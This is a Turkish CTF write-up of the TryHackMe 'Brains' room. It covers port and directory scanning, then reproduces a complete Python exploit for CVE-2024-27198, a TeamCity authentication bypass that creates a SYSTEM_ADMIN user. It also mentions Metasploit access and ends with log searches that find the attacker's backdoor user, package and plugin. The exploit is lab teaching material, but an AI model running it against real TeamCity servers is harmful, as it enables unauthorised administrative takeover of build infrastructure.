Esenlikler, bugünkü yazımda sizlere TryHackMe üzerinde bulunan Brains makinesinin çözümüyle alakalı raporumu sunacağım.
Şimdiden keyifli okumalar dilerim.
Amaç
İlk olarak, önceki write-up’larımdan da edindiğim bir tecrübe var: challenge ile ilgili verilen metinleri dikkatlice okumak gerçekten çok önemli. Çoğu zaman senaryo içinde çözümün anahtarı saklı oluyor.
Bu noktada TryHackMe bize şu bilgiyi veriyor:
“All brains gathered to build an engineering marvel; however, it seems strangers had found a way to get in.”
Yani sistem, büyük bir mühendislik harikası olarak inşa edilmiş; ancak bir şekilde yetkisiz kişiler içeri sızmış.
Bu görev kapsamında bizden beklenenler ise oldukça net:
- Hedef sisteme sızmak
- Hedef sisteme sızan kişinin sistem üzerinde neler yaptığını tespit etmek
Özetle, hem Red Team bakış açısıyla erişim sağlamak, hem de Blue Team perspektifiyle olay analizi yapmak gerekiyor.
Red: Exploit the Server!
Information Gathering
Hedef sistemde klasik olarak yapılacak ilk işlem, hedef sistem ile ilgili bilgi toplamaktır. Bu kapsamda ilk olarak bir port taraması gerçekleştirmek istiyorum. Kısaca, hedef sistemin bize hangi servisleri sunduğunu öğrenmek gerekiyor.
sudo nmap -sS -sV 10.81.181.77 -O -o brains_nmap.txt -p 1-65535 -T4Tüm portları taramak genellikle yaptığım bir işlem değildir; ancak zaman zaman gerekli olabileceğini bu rapor kapsamında öğrenmiş oldum.
Sonuçlara gelecek olursak:

Kısaca, hedef sistem bir web ve SSH servisi sağlamaktadır; ancak 44413 ve 50000 numaralı portlarda çalışan servisler nedir peki?
Kısaca bir öncelik sıralaması yaparak, ilk olarak HTTP servisinin bize neler sunduğunu inceleyelim.
Karşımıza kısaca bir bakım sayfası çıkıyor; şu aşamada bunun dışında herhangi bir bilgiye ulaşamıyoruz.

Peki, sunucunun web hizmeti kapsamında erişilebilecek başka hangi sayfalar bulunduğuna da bir bakalım.
gobuster dir --wordlist /usr/share/wordlists/dirb/big.txt --url http://10.81.181.77/ -t 100Yine istediğimiz bilgiye erişemiyoruz.

Bu noktada hedef servisimiz değişiyor ve 50000 numaralı port üzerinde denemeler yapıyoruz. Hâlihazırda bu portta Apache Tomcat çalıştığından, burada bir web hizmeti bulunduğunu kolaylıkla anlayabiliyoruz. Peki, bu web servisinde neler var?
Sayfa, bizi doğrudan TeamCity isimli uygulamanın giriş (login) sayfasına yönlendiriyor.

TeamCity, JetBrains tarafından geliştirilmiş, build yönetimi ve CI/CD süreçleri için kullanılan bir sunucu yazılımıdır. Peki, bu durum bizim için ne ifade ediyor?
İnternette yaptığım araştırmalara göre TeamCity uygulamasında CVE-2024-27198 olarak kayıtlı bir açık bulunmaktadır; bu açıklık alternate path kullanılarak kimlik doğrulama atlatılmasına (authentication bypass) imkân vermektedir. İlgili güvenlik açığına https://github.com/yoryio/CVE-2024-27198 adresinden erişebilir ve detaylarını inceleyebilirsiniz.
Identifying Vulnerability
Aslında karşımızda yalnızca bir authentication bypass zafiyeti bulunmamaktadır. Bu açık, sadece giriş mekanizmasını atlatmakla kalmayıp aynı zamanda hedef sistem üzerinde admin yetkilerine sahip bir kullanıcı oluşturulmasına da imkân tanımaktadır.
Tanım olarak bu zafiyeti incelediğimde şunu fark ediyorum: Normal şartlarda kimlik doğrulama kontrolünden geçmesi gereken bir REST çağrısı, kimlik doğrulama mekanizmasını atlatacak şekilde iletilmeye çalışılmaktadır. Tam olarak açıklamak gerekirse:
İlk başta CVE kodlarını vereyim:
import requests
import urllib3
import argparse
import re
urllib3.disable_warnings()
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL")
parser.add_argument("-u", "--username", required=True,help="Insert username for the new user")
parser.add_argument("-p", "--password",required=True, help="Insert password for the new user")
args = parser.parse_args()
vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information
def check_version():
response = requests.get(args.target+"/login.html", verify=False)
repattern = r'<span class="vWord">Version</span>(.+?)</span>' # Regex pattern to extract the TeamCity version number
try:
version = re.findall(repattern, response.text)[0]
print("[+] Version Found:", version)
except:
print("[-] Version not found")
def exploit():
response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10)
http_code = response.status_code
if http_code == 200:
print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln
create_user = {
"username": args.username,
"password": args.password,
"email": f"{args.username}@mydomain.com",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server
}
headers = {"Content-Type": "application/json"}
create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges
if create_user.status_code == 200:
print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)")
else:
print("[-] Error while creating new user")
else:
print("[-] Probable not vulnerable, returning HTTP", http_code)
check_version()
exploit()Normalde kimlik doğrulama gerektiren bir path’e bu yetkiye sahip olmayan bir kullanıcı erişmeye çalıştığında, hedef sistem ilgili endpoint’e erişmek isteyen kullanıcının yetkisini kontrol eder.
Buradaki kodda görülmesi gereken en önemli kısım vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" satırıdır. Bu kısım kritik olduğu için, süreci parça parça incelemek daha faydalı olacaktır.
/pwned kısmı aslında kritik değildir; burada farklı bir endpoint de kullanılabilir. Amaç, hedef sistemin güvenlik katmanının “bu zararsız ve kimlik doğrulama istemeyen bir path; kullanıcı buraya istediği gibi erişebilir” şeklinde değerlendirme yapmasını sağlamaktır.
/app/rest/users kısmı ise kritik öneme sahiptir; çünkü burada verilen endpoint, TeamCity içerisinde kullanıcı oluşturma ve yetki atama işlemlerini tetikleyen path’i işaret etmektedir.
Java tabanlı bir uygulamada, özellikle 44413 numaralı serviste java-rmi çalıştığını görmüştük. ?jsp= kısmı ise bu isteğin hangi JSP dosyası tarafından işleneceğini belirliyor ve aşağıdaki benzer bir kodu çalıştırıyor olabilir:
String jsp = request.getParameter("jsp");
forwardTo(jsp);Eğer bu parametre yeterince kontrol edilmezse, saldırgan aslında erişmemesi gereken bir endpoint’i farklı bir URL üzerinden işletebilir.
Özetle, /pwned path’ine erişmek istediğimizi belirtirken, arka planda /app/rest/users endpoint’ini tetikleyerek kendi kullanıcımızı oluşturmuş oluyoruz.
Exploiting the Vulnerability
Bu noktada aslında yapılması gereken çok karmaşık bir işlem bulunmamaktadır. Yukarıda paylaştığım GitHub bağlantısını kullanarak isteği (request) kendi ihtiyaçlarımıza göre tasarlayabilir ya da işi daha pratik bir şekilde ele alıp (benim tercih ettiğim gibi) doğrudan msfconsole üzerinden ilgili zafiyeti kullanabiliriz.
Burada önemli olan noktanın, bu zafiyeti ve ortaya çıkış sebebini iyi analiz edebilmek olduğunu düşünüyorum.
Öncelikle, msfconsole üzerinden kullanacağımız exploit’i tespit ediyorum.

Ardından senaryoya uygun şekilde bu exploit’in ayarlarını yapılandırıp çalıştırıyorum ve doğrudan hedef sisteme erişim sağlamış oluyorum.

Burada doğrudan home dizinine geçtiğimde, flag.txt dosyasını elde etmiş oluyorum.

Blue: Let's Investigate
TryHackMe’nin bizden beklediği Red Team kısmı bu aşamada tamamlanmış oluyor. Açıkçası, ek olarak root yetkisi elde etmemizin isteneceğini düşünürdüm; ancak TryHackMe tarafı bu senaryoda buna gerek görmemiş gibi duruyor.
Sıradaki hedeflerimiz ise TryHackMe’nin bizden istediği şu üç soruya cevap bulmak olacak:
- What is the name of the backdoor user which was created on the server after exploitation?
- What is the name of the malicious-looking package installed on the server?
- What is the name of the plugin installed on the server after successful exploitation?
Şimdi bunları tek tek inceleyelim. Bu aşamada, anladığım kadarıyla logları inceleyeceğimiz path ve bu path’e ait kullanıcı adı ile parola bilgileri tarafımıza verilmiş durumda.
Backdoor User
İlk olarak, hedef sistemde bu backdoor’u oluşturan kullanıcıyı tespit etmemiz isteniyor. Bu kapsamda karşımıza, admin paneli olarak nitelendirebileceğimiz bir arayüz çıkıyor:

Eğer bir kullanıcının hesap açtığına ilişkin bir soru soruluyorsa, hedef sistemde birilerinin kullanıcı oluşturmuş olabileceği düşüncesi zaten kafamda beliriyor. Nitekim, zafiyet de bu işlemi ilgili REST API üzerinden gerçekleştirmeye dayanıyordu.
Bu sebeple, “users” ifadesiyle bir arama yapıyorum. Bu arama aslında biraz da log panelinin nasıl çalıştığını ve nasıl filtreleme yapılabildiğini anlamaya yöneliktir. Ardından, hedef sistemde bir kullanıcı oluşturulduğunu bildiğim için “adduser” ifadesiyle de arama gerçekleştiriyorum.
Bu noktada tam olarak aradığım log kaydına ulaşıyorum. 04/07/2024 tarihinde eviluser adlı bir kullanıcının oluşturulduğunu görüyorum.

Bu noktada ilk sorunun cevabını tespit etmiş oluyoruz.
Malicious-Looking Package
Hedef sistemde eviluser adlı kullanıcının bir uygulama yüklediğini biliyoruz. Bu noktada tarih bize yardımcı oluyor. Yukarıda belirttiğim gibi eviluser kullanıcısı 04/07/2024 tarihinde oluşturulmuştu. Bu nedenle aynı tarihte indirilen package’lara bakıyorum ve görüldüğü üzere datacollector paketinin de aynı tarihte yüklendiğini tespit ediyorum.
sourcetype="packages" date_month=july date_mday=4
Installed Plugin
Peki hedef sistemde eviluser hangi plugin’i yükledi? Bunu öğrenmek için artık package’ları aratmak yerine doğrudan “plugins” ifadesiyle arama yapıyorum. Bu sayede eviluser tarafından yüklenen AyzzbuXY.zip adlı plugin’i ve ilgili tam path bilgisini görmüş oluyoruz.
plugins date_month=july date_mday=4
Ve bu noktada challenge’ı tamamlamış oluyoruz.
Teşekkürler
Yazımı bu noktaya kadar okuduysan sana teşekkür etmeyi bir borç bilirim. Bir sonraki yazımda görüşmek üzere; kendinize iyi bakın, esenlikler.
